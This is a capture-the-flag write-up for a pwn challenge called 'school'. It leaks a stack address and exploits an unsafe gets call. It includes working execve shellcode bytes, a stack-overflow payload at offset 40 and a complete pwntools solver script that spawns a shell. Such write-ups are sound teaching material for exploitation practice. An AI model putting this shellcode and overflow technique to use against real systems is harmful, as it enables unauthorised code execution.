school

Back to the basics.

2 min read


Table of Contents

[ + ] Overview
[ + ] Reversing
[ + ] Pwning
[ + ] Solution

[ + ]Overview

Taking a quick look after running the binary, we are prompted with a single question, then the program exits. Notably, an address is leaked for us.

Image

Here are the protections on the binary:

RELRO
Partial RELRO   

STACK CANARY
No canary found   

NX
NX enabled    

PIE
No PIE          

SELFRANDO
No Selfrando

Luckily, the binary protections are in our favour.

Let's throw it in IDA to get a better look at what's going on.

[ + ]Reversing

Taking a look at the main function, we can see that firstly, it is the base of the stack being leaked.

lea rax, [rbp - 20h]
mov rsi, rax
...
call _printf

This means we can use the leaked address to reference some shell code once we overflow after the unsafe gets call.

Image

[ + ]Pwning

Firstly let's find the offset where our address will need to be stored. We can use gefs pattern create and search functionality:

Image Image

Now that we know the offset which is 40, we can begin crafting our shellcode. I decided to challenge myself and fit the shellcode in the buffer, so I used the example here.

shell_code = (
    b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7",
    b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)

Since we need some space on the stack, and don't want to accidentally overwrite our instructions, we can decrement rsp:

sub    rsp, 0x60

To convert this to hex, I used the tool here.

adjust_rsp = b"\x48\x83\xec\x60"

Now we can craft our complete exploit.

offset = 40
adjust_rsp = b"\x48\x83\xec\x60"
shell_code = (
    b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7"
    b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
buf = adjust_rsp + shell_code
buf += b"A" * (offset - len(buf)) + leaked_address

Setting a break point at the ret, we can see that we have successfully overflowed and have the correct address.

Image

[ + ]Solution

Image
 Solver
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'


def pwn():
    conn = process(['/tmp/lima/school/school'])
    log.info(str(conn.pid))
    pause()
    conn.recvuntil('School\'s at: ')

    response = conn.recvline()
    address = response.split(b'.')[0][2:]
    leaked_address = p64(int(address, 16))

    offset = 40
    adjust_rsp = b"\x48\x83\xec\x60"
    shell_code = (
        b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7"
        b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    )
    buf = adjust_rsp + shell_code
    buf += b"A" * (offset - len(buf)) + leaked_address

    conn.sendline(buf)
    conn.interactive()
    conn.close()


if __name__ == "__main__":
    pwn()